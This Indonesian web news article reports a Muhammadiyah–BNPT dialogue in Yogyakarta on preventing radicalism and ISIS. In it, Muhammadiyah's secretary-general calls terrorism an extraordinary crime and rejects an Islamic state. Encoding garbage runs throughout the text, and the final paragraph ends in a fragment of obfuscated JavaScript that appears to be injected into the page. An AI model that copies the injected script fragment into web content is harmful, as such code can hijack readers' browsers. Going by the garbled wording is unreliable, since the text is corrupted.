Muhammadiyah: Terorisme adalah Extraordinary Crime

Dr. H. Abdul Muai??i??ti, M. Ed selaku Sekretaris Umum PP Muhammadiyah, memberikan sambutan dalam Pembukaan Acara Dialog Pencegahan Paham Radikal, Terorisme, dan IsisAi?? di gedung Sportorium Universitas Muhammadihyah Yogyakarta, Kamis (28/7). Ai??Acara ini hasil kerjasama antara Badan Nasional Penanggulangan Terorisme (BNPT) Republik IndonesiaAi?? dengan Muhammadiyah.

jogja8-1024x449

Tujuan diselenggarakan acara ini adalah untuk meningkatan keterlinbatan ormas keagamaan dalam upaya mencegah dan mengantisipasi pengaruh paham islam radikal, khususnya ISIS, seperti yang disampaikan Kasubdit Kewaspadaan dan Kontra Propaganda, Kol. Inf. Dadang Hendrayudha selaku ketua panitia acara. Tidak tanggung-tanggung, acara ini melibatkan warga Muhammadiyah Se-DIY dan masyarakat umum yang mencapai 1000 orang. 50% peserta dialog hari ini dipenuhi oleh Siswa dan Siswi SMA Muhammadiyah Se-DIY.

Dalam Sambutannya, Abdul Muai??i??ti menyampaikan bahwa, ai???Muhammadiyah tidak akan dirikan Negara Islam di Bumi Negara Kesatuan Republik Indonesia.ai??? Hal ini menanggapi pergerakan negara Islam. Ia juga mengatakan bahwa Anggota Muhammadiyah masih memegang Undang-undang Dasar tahun 1945, Pancasila, Bendera merah putih, dan masih menyanyikan lagu Indonesia Raya.

Muhammadiyah berkarakter kritis terhadap BNPT, TNI, Polri, dan Densus 88 bukan karena membenci dan tidak mendukung pemberantasan terorisme di NKRI. Namun karena Muhammadiyah berada di barisan depan menjamin dan mengawal pemberantasan paham radikali dan terorisme yang tidak melanggar HAM.

ai???Muhammadiyah akan mendukung segala metode pencegahan radikalisme dan terorisme yangsesuai dengan karakter dan kultur bangsa Indonesia,ai??? Ujar Sektum PP Muhammadiyah ini. Muhammadiyah juga mendukukng penuh siapa pun dan siap bekerja sama dengan BNPT, TNI, POLRI, dan Densus 88 dalam pemberantasan radikalisme dan terorisme, imbuhnya.

Muhammadiyah berpendapat bahwa Terorisme adalah Extraordinary Crime.Ai??Cara terorisme untuk menegakkan ajaran Islam di NKRI termasuk sparatis Agama yangAi?? justru bertentangan dengan kehidupan sosial, Ujar Abdul Muai??i??ti. Penggunaan Bom Bunuh diri untuk meraih surga tentu bertentangan dengan ajaran Islam yang menyerukan perdamaian di muka bumi.

Pemberantasan dan pencegahannya tidak dapat dilakukan hanya dengan pendekatan theologis. Muhammadiyah melihat terorisme muncul karena ketidakadilan di skala nasional, individual, bahkan secara global. Mereka bergerak sangat masif baik secara nyata maupun di dunia maya. Terorisme mengatasnamakan agama dan relasi Islam dunia dan berusaha meluruskan paham-paham kelompok agar kembali pada ajaran yang murni.

Muhammadiyah menentang radikalisme dan Isis, apabila ada oknum yang mengaku Muhammadiyah, tapi malah mendukungnya maka jelas dia bukan Muhammadiyah, tuturnya. igator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply

Your email address will not be published. Required fields are marked *